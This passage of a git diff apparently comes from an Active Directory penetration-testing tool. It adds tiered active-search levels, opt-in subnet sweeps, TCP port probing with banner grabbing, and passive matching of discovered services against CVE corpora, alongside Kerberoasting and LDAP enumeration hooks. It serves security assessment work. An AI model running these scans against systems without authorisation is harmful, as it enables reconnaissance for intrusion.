managed_tool_venv_bin_dir(), Path("/usr/local/bin"), Path("/usr/bin"), Path("/sbin"), @@ -7924,6 +8523,23 @@ def run_command( return False, str(exc) +def ensure_managed_tool_venv() -> tuple[bool, Path, str]: + venv_python = managed_tool_venv_python() + if venv_python.is_file(): + bootstrap_environment() + return True, venv_python, "managed tool venv already exists" + + venv_dir = managed_tool_venv_dir() + venv_dir.parent.mkdir(parents=True, exist_ok=True) + command = [sys.executable, "-m", "venv", str(venv_dir)] + ok, output = run_command(command, timeout=300) + bootstrap_environment() + if not ok or not venv_python.is_file(): + GLOBAL_PROFILER.record_error(f"Managed tool venv creation failed: {output[:300]}") + return False, venv_python, output + return True, venv_python, output + + # ============================================================================ # AUTOMATED TOOL INSTALLATION & PROVISIONING # ============================================================================ @@ -8016,11 +8632,7 @@ def install_enum4linux_ng() -> dict[str, Any]: } git = shutil.which("git") - python = ( - shutil.which("python3") - or shutil.which("python") - or sys.executable - ) + python = sys.executable if not git: GLOBAL_PROFILER.record_error("Git utility missing; cannot clone enum4linux-ng repository") @@ -8081,11 +8693,31 @@ def install_enum4linux_ng() -> dict[str, Any]: if requirements.is_file(): print(f"[VERBOSE] [install_enum4linux_ng] Installing repository python package requirements...", file=sys.stderr, flush=True) + enum_venv = repo_dir / ".venv" + venv_python = enum_venv / ("Scripts" if platform.system() == "Windows" else "bin") / ("python.exe" if platform.system() == "Windows" else "python") + if not venv_python.is_file(): + ok_venv, venv_output = run_command([sys.executable, "-m", "venv", str(enum_venv)], timeout=300) + requirements_output += venv_output + if not ok_venv: + GLOBAL_PROFILER.record_error("Virtualenv creation failed for enum4linux-ng") + return { + "tool": "enum4linux_ng", + "success": False, + "verified": False, + "method": "venv-create-failed", + "command": [sys.executable, "-m", "venv", str(enum_venv)], + "executable": str(script.resolve()), + "repository": str(repo_dir.resolve()), + "output": requirements_output[-4000:], + } + python = str(venv_python) install_requirements = [ python, "-m", "pip", "install", + "--upgrade", + "--quiet", "-r", str(requirements), ] @@ -8143,7 +8775,7 @@ def install_pip_tool(tool: str) -> dict[str, Any]: GLOBAL_PROFILER.record_error(f"No package mapping for {tool} in PIP_PACKAGES") return {"tool": tool, "success": False, "verified": False, "method": "no-package-mapping", "executable": None} - python = shutil.which("python3") or shutil.which("python") or sys.executable + python = sys.executable print(f"[VERBOSE] [install_pip_tool] Using Python: {python}", file=sys.stderr, flush=True) print(f"[VERBOSE] [install_pip_tool] Installing packages: {packages}", file=sys.stderr, flush=True) @@ -8153,6 +8785,16 @@ def install_pip_tool(tool: str) -> dict[str, Any]: ok, output = run_command(install_cmd, timeout=600) # 10 minute timeout for pip + if not ok and "externally-managed-environment" in output.lower(): + print("[VERBOSE] [install_pip_tool] System Python is externally managed; retrying in managed tool venv", file=sys.stderr, flush=True) + venv_ok, venv_python, venv_output = ensure_managed_tool_venv() + output = (output + "\n" + venv_output)[-4000:] + if venv_ok: + python = str(venv_python) + install_cmd = [python, "-m", "pip", "install", "--upgrade", "--quiet", *packages] + ok, retry_output = run_command(install_cmd, timeout=600) + output = (output + "\n" + retry_output)[-4000:] + # If build fails (e.g., impacket aardwolf), try without build isolation if not ok and "aardwolf" in output.lower(): print(f"[VERBOSE] [install_pip_tool] Build failed with aardwolf, retrying without build isolation", file=sys.stderr, flush=True) @@ -8320,7 +8962,7 @@ def install_git_tool( # Install from cloned directory print(f"[VERBOSE] [install_git_tool] Installing from {clone_dir}", file=sys.stderr, flush=True) - python = shutil.which("python3") or shutil.which("python") or sys.executable + python = sys.executable # Change to clone directory and run install original_cwd = Path.cwd() @@ -8331,6 +8973,15 @@ def install_git_tool( ok_install, install_output = run_command(full_install_cmd, timeout=600) + if not ok_install and "externally-managed-environment" in install_output.lower(): + venv_ok, venv_python, venv_output = ensure_managed_tool_venv() + install_output = (install_output + "\n" + venv_output)[-4000:] + if venv_ok: + python = str(venv_python) + full_install_cmd = [python, "-m", "pip", "install", "-e", "."] + ok_install, retry_output = run_command(full_install_cmd, timeout=600) + install_output = (install_output + "\n" + retry_output)[-4000:] + os.chdir(original_cwd) if not ok_install: @@ -9826,8 +10477,15 @@ def run( dns_timeout: float = 3.0, pentest_technique: str | None = None, pentest_workers: int = 32, + active_search: str = "careful", + scan_derived_networks: bool = False, + passive_cve_enabled: bool = True, + passive_cve_limit: int = PASSIVE_CVE_DEFAULT_LIMIT, + passive_cve_corpus: str | None = None, ) -> dict[str, Any]: print(f"[VERBOSE] [run] Initializing comprehensive Active Directory diagnostic pipeline for target: '{target}'", file=sys.stderr, flush=True) + if active_search not in {"off", "careful", "full"}: + raise ValueError("active_search must be 'off', 'careful', or 'full'") import uuid as _uuid run_id = f"run-{_uuid.uuid4().hex[:12]}-{datetime.utcnow().strftime('%Y%m%d%H%M%S')}" @@ -9883,10 +10541,17 @@ def run( initial_tools = discover_tools() install_results = [] + auto_install_candidates = ( + set() + if active_search == "off" + else CAREFUL_ACTIVE_TOOLS + if active_search == "careful" + else AD_TOOLS + ) - if auto_install: + if auto_install and mode == "active": for tool in initial_tools["unavailable"]: - if tool not in AUTO_INSTALL_TOOLS: + if tool not in AUTO_INSTALL_TOOLS or tool not in auto_install_candidates: continue print( @@ -9934,12 +10599,17 @@ def run( # ------------------------------------------------------------------------ print("[HEXSTRIKE] DC-DETECT: Starting automatic Domain Controller detection...", file=sys.stderr, flush=True) + network_scan_enabled = ( + mode == "active" + and active_search == "full" + and scan_derived_networks + ) dcs, detected_domain = auto_detect_dcs( target=target, resolved_ips=resolution["resolved_ipv4"], networks=resolution["derived_networks"], - do_network_scan=(mode == "active"), + do_network_scan=network_scan_enabled, timeout=min(timeout, 10), ) @@ -10021,7 +10691,7 @@ def run( live_hosts: set[str] = set() discovery_results = [] - if mode == "active": + if network_scan_enabled: for network in resolution["derived_networks"]: print( f"[HEXSTRIKE] " @@ -10109,6 +10779,31 @@ def run( else: print(f"[HEXSTRIKE] TARGETING: No DCs detected, executing tools against all {len(targets_for_tools)} live host(s) (parallel)", file=sys.stderr, flush=True) + active_service_report = { + "status": "skipped", + "mode": active_search, + "observations": [], + } + if mode == "active" and active_search in {"careful", "full"}: + print("[HEXSTRIKE] ACTIVE-SERVICE: Running careful service evidence search...", file=sys.stderr, flush=True) + active_service_report = active_service_search( + hosts=targets_for_tools, + timeout=min(2.0, max(0.5, dns_timeout)), + workers=8 if active_search == "careful" else 16, + ) + print( + f"[HEXSTRIKE] ACTIVE-SERVICE: {len(active_service_report.get('observations', []))} open service observation(s)", + file=sys.stderr, + flush=True, + ) + + if active_search == "off": + selected_tools: list[str] = [] + elif active_search == "careful": + selected_tools = sorted(set(final_tools["available"]) & CAREFUL_ACTIVE_TOOLS) + else: + selected_tools = sorted(final_tools["available"]) + # Prepare tool execution tasks for parallel processing from concurrent.futures import ThreadPoolExecutor, as_completed @@ -10116,9 +10811,7 @@ def run( for host in targets_for_tools: is_dc = host in dc_ips host_fqdn = dc_fqdn_by_ip.get(host) or fqdn_by_ip.get(host) - for tool in sorted(AD_TOOLS): - if tool not in final_tools["available"]: - continue + for tool in selected_tools: # Skip Kerberos tools if no DC detected if tool in {"GetUserSPNs", "AS_REP_roast", "kerberoast"} and not dc_ips: continue @@ -10208,6 +10901,45 @@ def run( except (json.JSONDecodeError, ValueError): pass + passive_cve_report = { + "status": "disabled" if not passive_cve_enabled else "skipped", + "mode": "passive-correlation", + "corpus_loaded": 0, + "possible_count": 0, + "matches": [], + } + if passive_cve_enabled: + passive_cve_report = passive_cve_scan( + tool_results=results, + active_observations=active_service_report.get("observations", []), + corpus_path=passive_cve_corpus, + limit=passive_cve_limit, + ) + try: + passive_json = json.dumps(passive_cve_report, ensure_ascii=False) + db.add_tool_result( + run_id=run_id, + tool="passive_cve_scan", + host=target, + status=passive_cve_report["status"], + output=passive_json[:10000], + ) + for match in passive_cve_report.get("matches", []): + db.add_cve_finding( + run_id=run_id, + cve_id=match.get("cve", "possible-cve"), + target=match.get("target", target), + vulnerable=False, + cvss=match.get("cvss"), + severity=match.get("severity"), + impact=f"Possible passive match ({match.get('confidence', 'low')} confidence)", + details_json=json.dumps(match, ensure_ascii=False)[:20000], + ) + except Exception as db_exc: + print(f"[VERBOSE] [run] Passive CVE DB storage error: {db_exc}", file=sys.stderr, flush=True) + + cves_checked += int(passive_cve_report.get("corpus_loaded", 0) or 0) + completed_count = sum(1 for r in results if r["status"] == "completed") failed_count = sum(1 for r in results if r["status"] in {"failed", "timeout", "execution-error"}) @@ -10247,7 +10979,10 @@ def run( "networks": discovery_results, "live_hosts": live_host_list, "live_host_count": len(live_host_list), + "scan_derived_networks": scan_derived_networks, + "network_scan_enabled": network_scan_enabled, }, + "active_service_search": active_service_report, "dns": { "records": dns_records, "by_ip": fqdn_by_ip, @@ -10257,9 +10992,14 @@ def run( "final": final_tools, "auto_install": { "enabled": auto_install, + "active_only": True, + "candidate_count": len(auto_install_candidates), "results": install_results, }, + "selected_for_execution": selected_tools, + "active_search": active_search, }, + "passive_cve_scan": passive_cve_report, "execution": { "results": results, "result_count": len(results), @@ -10471,6 +11211,39 @@ def build_parser() -> argparse.ArgumentParser: action="store_true", ) + parser.add_argument( + "--active-search", + choices=["off", "careful", "full"], + default="careful", + help="Active search level for service/CVE evidence. 'careful' limits probing to resolved targets; 'full' enables broader tool coverage.", + ) + + parser.add_argument( + "--scan-derived-networks", + action="store_true", + help="Allow active /24 derived-network sweeps. Disabled by default for safer scans of public domains.", + ) + + parser.add_argument( + "--no-passive-cve", + action="store_true", + help="Disable passive possible-CVE correlation.", + ) + + parser.add_argument( + "--passive-cve-limit", + type=int, + default=PASSIVE_CVE_DEFAULT_LIMIT, + help="Maximum CVE records to load for passive correlation (default: 10000).", + ) + + parser.add_argument( + "--passive-cve-corpus", + type=str, + default=None, + help="Optional local NVD/simple JSON or JSONL corpus for passive CVE correlation.", + ) + parser.add_argument( "--dns-server", type=str, @@ -10603,17 +11376,18 @@ def main() -> int: print("[-] VPN connection failed. Aborting.", file=sys.stderr, flush=True) return 1 - try: - target_ip = socket.gethostbyname(args.target) - print(f"[*] Resolved {args.target} to IP: {target_ip}", file=sys.stderr, flush=True) - open_ports = check_ports(target_ip) - if 389 in open_ports or 636 in open_ports: - unauthenticated_ldap_enum(target_ip) - else: - print("\n[-] LDAP ports are closed or filtered. Cannot perform unauthenticated directory queries.", file=sys.stderr, flush=True) - except socket.gaierror as gai_exc: - print(f"[-] Could not resolve target {args.target}: {gai_exc}", file=sys.stderr, flush=True) - return 1 + if args.mode == "active" and args.active_search != "off": + try: + target_ip = socket.gethostbyname(args.target) + print(f"[*] Resolved {args.target} to IP: {target_ip}", file=sys.stderr, flush=True) + open_ports = check_ports(target_ip) + if 389 in open_ports or 636 in open_ports: + unauthenticated_ldap_enum(target_ip) + else: + print("\n[-] LDAP ports are closed or filtered. Cannot perform unauthenticated directory queries.", file=sys.stderr, flush=True) + except socket.gaierror as gai_exc: + print(f"[-] Could not resolve target {args.target}: {gai_exc}", file=sys.stderr, flush=True) + return 1 try: dns_servers = None @@ -10632,6 +11406,11 @@ def main() -> int: dns_timeout=args.dns_timeout, pentest_technique=args.pentest_technique, pentest_workers=args.pentest_workers, + active_search=args.active_search, + scan_derived_networks=args.scan_derived_networks, + passive_cve_enabled=not args.no_passive_cve, + passive_cve_limit=args.passive_cve_limit, + passive_cve_corpus=args.passive_cve_corpus, ) print( @@ -11201,6 +11980,10 @@ def extract_with_fallback(self): "enumerate_smb_shares", "check_smb_null_session", "detect_smb_signing", + "load_passive_cve_corpus", + "passive_cve_scan", + "build_passive_service_inventory", + "active_service_search", "run", "main", ] diff --git a/adpentest_onefile.py b/adpentest_onefile.py index cf843a6..338e1d9 100644 --- a/adpentest_onefile.py +++ b/adpentest_onefile.py @@ -10,11 +10,11 @@ from __future__ import annotations _ONEFILE_SOURCE_SHA256 = { - 'adpentest/__init__.py': '8bee5424dc14d3c4140afee9c5adaab8616af2ca84f1035a4dc4767ebba7e809', + 'adpentest/__init__.py': '0bf75a8f54f25b8ddc64fa99d32a6c10b82c0121b4c15b8ad80ce6b2d8355cd2', 'adpentest/cve_catalog_100.py': '328dd93d11b58e517e3f7038b40df94753678afd0cb63698e678bd80ae71dc91', 'adpentest/cve_catalog_de_novo_40.py': '14d93e95f925061a76a94d4b11e61ed547e063b9aa771b50094db524deecf9b8', 'adpentest/de_novo.py': '91706aab999814dd39b335c90b6e283e0e67e745a221b8180ab689e61ce9ffc1', - 'adpentest/core.py': '9959a332130d08f00f395287ac81d18c882d46b2fe5171140d3db68428c3bab8', + 'adpentest/core.py': '6f81468815793d2f5c619842296f65bbd037cbe803533c573828ba724867f7ce', } # ============================================================================ @@ -24,7 +24,16 @@ __version__ = "1.1.5" + +def main() -> int: + """Lazy console-script entry point.""" + from .core import main as _main + + return _main() + + _ONEFILE_PACKAGE_EXPORTS = [ + "main", "EXTENDED_CVES", "EXTENDED_CVE_IDS", "get_extended_cves", @@ -402,6 +411,13 @@ def find_de_novo(target: str, timeout_ms: int = 800, binary: str | None = None) import hmac import struct +try: + from .cve_catalog_100 import EXTENDED_CVES, get_extended_cves + from .cve_catalog_de_novo_40 import DE_NOVO_CVES_40, get_de_novo_cves_40 +except ImportError: + EXTENDED_CVES = globals().get("EXTENDED_CVES", []) + DE_NOVO_CVES_40 = globals().get("DE_NOVO_CVES_40", []) + # ============================================================================ # SQLITE SCAN HISTORY DATABASE # ============================================================================ @@ -721,6 +737,18 @@ def get_scan_db(db_path: str | Path | None = None) -> ScanDatabase: "cve_2026_20929_kerberos_dns_relay", } +CVE_TOOL_NAMES = { + tool + for tool in AD_TOOLS + if tool.startswith("cve_") +} + +CAREFUL_ACTIVE_TOOLS = CVE_TOOL_NAMES | { + "nmap_scan", + "enum_windows_py", + "email_server_discovery", +} + # ============================================================================ # WINDOWS ENUMERATION (Python-based, cross-platform) # ============================================================================ @@ -728,11 +756,13 @@ def get_scan_db(db_path: str | Path | None = None) -> ScanDatabase: class WindowsEnumerate: """Windows-adapted enumeration engine (enum4linux-ng Python port)""" - def __init__(self, target: str, timeout: int = 10): + def __init__(self, target: str, timeout: int = 10, domain: str | None = None): self.target = target self.timeout = timeout + self.domain = domain self.results = { "target": target, + "domain": domain, "platform": platform.system(), "ldap_info": {}, "smb_info": {}, @@ -5328,6 +5358,565 @@ def generate_report(cls, filters: dict = None) -> str: return report +# ============================================================================ +# PASSIVE CVE CORRELATION ENGINE +# ============================================================================ + +PASSIVE_CVE_DEFAULT_LIMIT = 10000 +PASSIVE_CVE_MIN_SCORE = 45 +PASSIVE_CVE_MAX_MATCHES_PER_TARGET = 250 +_CVE_ID_RE = re.compile(r"CVE-\d{4}-\d{4,7}", re.IGNORECASE) +_TOKEN_RE = re.compile(r"[a-z0-9][a-z0-9_.+-]{1,}", re.IGNORECASE) + +_SERVICE_ALIASES: dict[str, set[str]] = { + "21": {"ftp"}, + "22": {"ssh", "openssh"}, + "25": {"smtp", "mail", "exchange"}, + "53": {"dns", "bind"}, + "80": {"http", "web", "iis", "apache", "nginx"}, + "88": {"kerberos", "kdc", "active-directory", "windows"}, + "110": {"pop3", "mail"}, + "135": {"rpc", "msrpc", "windows"}, + "139": {"netbios", "smb", "samba", "windows"}, + "143": {"imap", "mail"}, + "389": {"ldap", "active-directory", "windows"}, + "443": {"https", "http", "web", "iis", "apache", "nginx", "openssl"}, + "445": {"smb", "microsoft-ds", "samba", "windows"}, + "464": {"kerberos", "kpasswd", "active-directory", "windows"}, + "465": {"smtp", "mail", "tls"}, + "587": {"smtp", "mail", "submission"}, + "636": {"ldap", "ldaps", "active-directory", "windows"}, + "993": {"imap", "mail", "tls"}, + "995": {"pop3", "mail", "tls"}, + "1433": {"mssql", "sql-server", "microsoft"}, + "3306": {"mysql", "mariadb"}, + "3389": {"rdp", "windows"}, + "5432": {"postgresql", "postgres"}, + "5985": {"winrm", "wsman", "windows"}, + "5986": {"winrm", "wsman", "windows", "tls"}, + "8080": {"http", "web", "tomcat", "jetty"}, + "8443": {"https", "http", "web", "tomcat", "jetty"}, + "9200": {"elasticsearch"}, +} + +_GENERIC_CVE_TOKENS = { + "server", "service", "remote", "code", "execution", "denial", "windows", + "microsoft", "http", "https", "tcp", "network", "protocol", "client", + "application", "software", "component", "vulnerability", "security", +} + + +def _cve_text_tokens(*values: Any) -> set[str]: + tokens: set[str] = set() + for value in values: + if value is None: + continue + if isinstance(value, (list, tuple, set)): + tokens.update(_cve_text_tokens(*value)) + continue + text = str(value).lower().replace("_", "-") + for token in _TOKEN_RE.findall(text): + token = token.strip(".-_") + if len(token) >= 3: + tokens.add(token) + return tokens + + +def _severity_from_cvss(score: float | None) -> str | None: + if score is None: + return None + if score >= 9.0: + return "CRITICAL" + if score >= 7.0: + return "HIGH" + if score >= 4.0: + return "MEDIUM" + return "LOW" + + +def _nvd_description(cve_obj: dict[str, Any]) -> str: + description_value = cve_obj.get("description") + if isinstance(description_value, str): + return description_value + descriptions = cve_obj.get("descriptions") or ( + description_value.get("description_data", []) + if isinstance(description_value, dict) + else [] + ) + if isinstance(descriptions, list): + for item in descriptions: + if isinstance(item, dict) and item.get("lang") == "en" and item.get("value"): + return str(item["value"]) + for item in descriptions: + if isinstance(item, dict) and item.get("value"): + return str(item["value"]) + if isinstance(descriptions, str): + return descriptions + return "" + + +def _walk_cpe_values(obj: Any) -> list[str]: + values: list[str] = [] + if isinstance(obj, dict): + for key in ("criteria", "cpe23Uri", "cpe22Uri"): + value = obj.get(key) + if isinstance(value, str) and value.startswith("cpe:"): + values.append(value) + for value in obj.values(): + values.extend(_walk_cpe_values(value)) + elif isinstance(obj, list): + for item in obj: + values.extend(_walk_cpe_values(item)) + return values + + +def _cpe_product_tokens(cpes: list[str]) -> set[str]: + tokens: set[str] = set() + for cpe in cpes: + parts = cpe.split(":") + if len(parts) >= 6: + tokens.update(_cve_text_tokens(parts[3], parts[4], parts[5])) + return tokens - _GENERIC_CVE_TOKENS + + +def _extract_cvss(item: dict[str, Any], cve_obj: dict[str, Any]) -> float | None: + metrics = item.get("metrics") or cve_obj.get("metrics") or {} + for key in ("cvssMetricV31", "cvssMetricV30", "cvssMetricV2"): + values = metrics.get(key) + if isinstance(values, list) and values: + cvss_data = values[0].get("cvssData", {}) + score = cvss_data.get("baseScore") + if isinstance(score, (int, float)): + return float(score) + impact = item.get("impact") or {} + for path in ( + ("baseMetricV3", "cvssV3", "baseScore"), + ("baseMetricV2", "cvssV2", "baseScore"), + ): + current: Any = impact + for key in path: + current = current.get(key, {}) if isinstance(current, dict) else {} + if isinstance(current, (int, float)): + return float(current) + return None + + +def _iter_raw_cve_items(payload: Any) -> list[Any]: + if isinstance(payload, list): + return payload + if not isinstance(payload, dict): + return [] + if isinstance(payload.get("vulnerabilities"), list): + return payload["vulnerabilities"] + if isinstance(payload.get("CVE_Items"), list): + return payload["CVE_Items"] + if isinstance(payload.get("items"), list): + return payload["items"] + if payload.get("cve") or payload.get("cve_id") or payload.get("id"): + return [payload] + return [] + + +def normalize_cve_record(item: Any, source: str = "custom") -> dict[str, Any] | None: + if not isinstance(item, dict): + return None + + root = item + cve_obj = item.get("cve") if isinstance(item.get("cve"), dict) else item + cve_id = ( + cve_obj.get("id") + or item.get("cve_id") + or item.get("cve") + or item.get("id") + ) + if not cve_id and isinstance(cve_obj.get("CVE_data_meta"), dict): + cve_id = cve_obj["CVE_data_meta"].get("ID") + if not isinstance(cve_id, str): + return None + match = _CVE_ID_RE.search(cve_id) + if not match: + return None + cve_id = match.group(0).upper() + + description = ( + _nvd_description(cve_obj) + or str(item.get("description") or item.get("summary") or "") + ) + cpes = _walk_cpe_values(root) + cvss = item.get("cvss") + if not isinstance(cvss, (int, float)): + cvss = _extract_cvss(root, cve_obj) + cvss = float(cvss) if isinstance(cvss, (int, float)) else None + severity = str(item.get("severity") or _severity_from_cvss(cvss) or "").upper() or None + name = str(item.get("name") or item.get("title") or cve_id) + component = str(item.get("component") or item.get("product") or item.get("vendor") or "") + tags = item.get("tags") if isinstance(item.get("tags"), list) else [] + tokens = ( + _cve_text_tokens(name, component, tags, item.get("family"), item.get("affected_versions")) + | _cpe_product_tokens(cpes) + ) - _GENERIC_CVE_TOKENS + + return { + "cve": cve_id, + "name": name, + "description": description[:1000], + "component": component, + "cvss": cvss, + "severity": severity, + "tags": tags, + "cpes": cpes[:25], + "tokens": sorted(tokens), + "source": source, + "remediation": item.get("remediation"), + } + + +def _builtin_cve_corpus(limit: int) -> list[dict[str, Any]]: + records: list[dict[str, Any]] = [] + for cve_id, data in ADCVERegistry.CRITICAL_CVES.items(): + item = dict(data) + item["cve"] = cve_id + normalized = normalize_cve_record(item, source="builtin-ad-registry") + if normalized: + records.append(normalized) + for source_name, catalog in ( + ("builtin-extended-100", EXTENDED_CVES), + ("builtin-de-novo-40", DE_NOVO_CVES_40), + ): + for item in catalog: + normalized = normalize_cve_record(item, source=source_name) + if normalized: + records.append(normalized) + if len(records) >= limit: + return records[:limit] + return records[:limit] + + +def _read_cve_corpus_file(path: Path, limit: int) -> list[dict[str, Any]]: + records: list[dict[str, Any]] = [] + if not path.is_file(): + return records + if path.suffix.lower() == ".jsonl": + with path.open("r", encoding="utf-8", errors="replace") as handle: + for line in handle: + if not line.strip(): + continue + try: + raw = json.loads(line) + except json.JSONDecodeError: + continue + normalized = normalize_cve_record(raw, source=str(path)) + if normalized: + records.append(normalized) + if len(records) >= limit: + break + return records + + try: + payload = json.loads(path.read_text(encoding="utf-8", errors="replace")) + except (OSError, json.JSONDecodeError): + return records + for raw in _iter_raw_cve_items(payload): + normalized = normalize_cve_record(raw, source=str(path)) + if normalized: + records.append(normalized) + if len(records) >= limit: + break + return records + + +def load_passive_cve_corpus(corpus_path: str | None = None, limit: int = PASSIVE_CVE_DEFAULT_LIMIT) -> dict[str, Any]: + limit = max(1, min(int(limit), PASSIVE_CVE_DEFAULT_LIMIT)) + records = _builtin_cve_corpus(limit) + sources = ["builtin-ad-registry", "builtin-extended-100", "builtin-de-novo-40"] + + candidates: list[Path] = [] + configured = corpus_path or os.environ.get("ADPENTEST_CVE_CORPUS") + if configured: + candidates.append(Path(configured).expanduser()) + else: + candidates.extend([ + Path.cwd() / "cve-corpus.json", + Path.cwd() / "cve-corpus.jsonl", + Path.cwd() / "nvd", + Path.home() / ".cache" / "adpentest" / "nvd", + ]) + + seen = {record["cve"] for record in records} + for candidate in candidates: + files: list[Path] + if candidate.is_dir(): + files = sorted(candidate.glob("*.json")) + sorted(candidate.glob("*.jsonl")) + else: + files = [candidate] + for file_path in files: + remaining = limit - len(records) + if remaining <= 0: + break + external_records = _read_cve_corpus_file(file_path, remaining) + if external_records: + sources.append(str(file_path)) + for record in external_records: + if record["cve"] in seen: + continue + records.append(record) + seen.add(record["cve"]) + if len(records) >= limit: + break + + return { + "limit": limit, + "loaded": len(records), + "sources": sources, + "records": records, + } + + +def _parse_nmap_services(result: dict[str, Any]) -> list[dict[str, Any]]: + observations: list[dict[str, Any]] = [] + target = result.get("target") or result.get("host") + stdout = result.get("stdout") or "" + pattern = re.compile( + r"^\s*(\d+)/(tcp|udp)\s+(\S+)\s+(\S+)(?:\s+(.*))?$", + re.MULTILINE, + ) + for match in pattern.finditer(stdout): + port, proto, state, service, version = match.groups() + if state not in {"open", "open|filtered"}: + continue + raw = " ".join(part for part in (service, version or "") if part).strip() + observations.append({ + "target": target, + "port": int(port), + "protocol": proto, + "state": state, + "service": service, + "product": raw, + "source": "nmap_scan", + "raw": raw, + }) + return observations + + +def _parse_tool_service_flags(result: dict[str, Any]) -> list[dict[str, Any]]: + observations: list[dict[str, Any]] = [] + target = result.get("target") or result.get("host") + stdout = result.get("stdout") or "" + try: + payload = json.loads(stdout) + except (TypeError, json.JSONDecodeError): + return observations + if not isinstance(payload, dict): + return observations + + flag_map = { + "smb_reachable": (445, "smb"), + "smb_open": (445, "smb"), + "ldap_reachable": (389, "ldap"), + "ldap_open": (389, "ldap"), + "kerberos_reachable": (88, "kerberos"), + "kerberos_open": (88, "kerberos"), + "dns_open": (53, "dns"), + "http_open": (80, "http"), + "webdav_reachable": (80, "webdav"), + "adcs_detected": (80, "adcs"), + "kpasswd_open": (464, "kpasswd"), + } + for key, (port, service) in flag_map.items(): + if payload.get(key) is True: + observations.append({ + "target": target, + "port": port, + "protocol": "tcp", + "state": "open", + "service": service, + "product": service, + "source": result.get("tool", "tool-json"), + "raw": key, + }) + for port in payload.get("open_ports", []) if isinstance(payload.get("open_ports"), list) else []: + try: + port_int = int(port) + except (TypeError, ValueError): + continue + observations.append({ + "target": target, + "port": port_int, + "protocol": "tcp", + "state": "open", + "service": str(port_int), + "product": "", + "source": result.get("tool", "tool-json"), + "raw": f"open_ports:{port_int}", + }) + return observations + + +def _observation_tokens(observation: dict[str, Any]) -> set[str]: + port = observation.get("port") + tokens = _cve_text_tokens( + observation.get("service"), + observation.get("product"), + observation.get("raw"), + ) + if port is not None: + tokens.update(_SERVICE_ALIASES.get(str(port), set())) + return tokens + + +def build_passive_service_inventory( + tool_results: list[dict[str, Any]], + active_observations: list[dict[str, Any]] | None = None, +) -> list[dict[str, Any]]: + observations: list[dict[str, Any]] = [] + for result in tool_results: + if result.get("tool") == "nmap_scan": + observations.extend(_parse_nmap_services(result)) + observations.extend(_parse_tool_service_flags(result)) + observations.extend(active_observations or []) + + deduped: dict[tuple[Any, Any, Any, Any], dict[str, Any]] = {} + for observation in observations: + key = ( + observation.get("target"), + observation.get("port"), + observation.get("protocol"), + observation.get("service"), + ) + observation["tokens"] = sorted(_observation_tokens(observation)) + deduped.setdefault(key, observation) + return list(deduped.values()) + + +def passive_cve_scan( + tool_results: list[dict[str, Any]], + active_observations: list[dict[str, Any]] | None = None, + corpus_path: str | None = None, + limit: int = PASSIVE_CVE_DEFAULT_LIMIT, + min_score: int = PASSIVE_CVE_MIN_SCORE, +) -> dict[str, Any]: + corpus = load_passive_cve_corpus(corpus_path=corpus_path, limit=limit) + inventory = build_passive_service_inventory(tool_results, active_observations) + matches_by_target: dict[str, list[dict[str, Any]]] = {} + + for observation in inventory: + target = str(observation.get("target") or "") + evidence_tokens = set(observation.get("tokens", [])) + if not target or not evidence_tokens: + continue + for record in corpus["records"]: + cve_tokens = set(record.get("tokens", [])) + shared = sorted((evidence_tokens & cve_tokens) - _GENERIC_CVE_TOKENS) + if not shared: + continue + score = 25 + min(50, len(shared) * 15) + if record.get("cvss"): + score += min(15, int(float(record["cvss"]))) + if record.get("cpes") and shared: + score += 10 + if score < min_score: + continue + matches_by_target.setdefault(target, []).append({ + "target": target, + "cve": record["cve"], + "status": "possible", + "confidence": "medium" if score >= 70 else "low", + "score": min(score, 100), + "cvss": record.get("cvss"), + "severity": record.get("severity"), + "name": record.get("name"), + "component": record.get("component"), + "source": record.get("source"), + "matched_tokens": shared[:10], + "evidence": { + "source": observation.get("source"), + "port": observation.get("port"), + "service": observation.get("service"), + "product": observation.get("product"), + "raw": observation.get("raw"), + }, + "next_step": "Confirm exact product/version and patch state before treating this as vulnerable.", + }) + + matches: list[dict[str, Any]] = [] + for target, target_matches in matches_by_target.items(): + target_matches.sort(key=lambda item: (item.get("score", 0), item.get("cvss") or 0), reverse=True) + matches.extend(target_matches[:PASSIVE_CVE_MAX_MATCHES_PER_TARGET]) + + return { + "status": "completed", + "mode": "passive-correlation", + "corpus_limit": corpus["limit"], + "corpus_loaded": corpus["loaded"], + "sources": corpus["sources"], + "service_evidence_count": len(inventory), + "service_evidence": inventory[:200], + "possible_count": len(matches), + "matches": matches, + } + + +def active_service_search(hosts: list[str], timeout: float = 2.0, workers: int = 8) -> dict[str, Any]: + ports = [ + 21, 22, 25, 53, 80, 88, 110, 135, 139, 143, 389, 443, 445, + 464, 465, 587, 636, 993, 995, 1433, 3306, 3389, 5432, 5985, + 5986, 8080, 8443, 9200, + ] + observations: list[dict[str, Any]] = [] + + def probe(host: str, port: int) -> dict[str, Any] | None: + try: + with socket.create_connection((host, port), timeout=timeout) as sock: + sock.settimeout(timeout) + banner = "" + if port in {80, 8080}: + sock.sendall(b"HEAD / HTTP/1.0\r\n\r\n") + elif port in {443, 8443}: + banner = "tls-port-open" + try: + data = sock.recv(256) + banner = data.decode("utf-8", errors="replace").strip() + except (OSError, TimeoutError): + pass + service = sorted(_SERVICE_ALIASES.get(str(port), {str(port)}))[0] + return { + "target": host, + "port": port, + "protocol": "tcp", + "state": "open", + "service": service, + "product": banner, + "source": "active_service_search", + "raw": banner or "tcp-connect", + } + except OSError: + return None + + tasks: list[tuple[str, int]] = [] + for host in hosts: + for port in ports: + tasks.append((host, port)) + if not tasks: + return {"status": "completed", "mode": "careful-active", "observations": []} + + with ThreadPoolExecutor(max_workers=max(1, min(workers, len(tasks)))) as executor: + futures = {executor.submit(probe, host, port): (host, port) for host, port in tasks} + for future in as_completed(futures): + observation = future.result() + if observation: + observation["tokens"] = sorted(_observation_tokens(observation)) + observations.append(observation) + + observations.sort(key=lambda item: (item["target"], item["port"])) + return { + "status": "completed", + "mode": "careful-active", + "hosts": hosts, + "ports": ports, + "observations": observations, + } + + class SPNEnumerator: """Service Principal Name enumerator using LDAP (no impacket.examples.GetUserSPNs)""" @@ -8157,6 +8746,23 @@ def parse_arp_table() -> list[str]: # RUNTIME ENVIRONMENT & PATH BOOTSTRAPPING SUBSYSTEM # ============================================================================ +def managed_tool_venv_dir() -> Path: + configured = os.environ.get("ADPENTEST_TOOL_VENV") + if configured: + return Path(configured).expanduser() + return Path.home() / ".adpentest" / "tools-venv" + + +def managed_tool_venv_bin_dir() -> Path: + venv_dir = managed_tool_venv_dir() + return venv_dir / ("Scripts" if platform.system() == "Windows" else "bin") + + +def managed_tool_venv_python() -> Path: + bin_dir = managed_tool_venv_bin_dir() + return 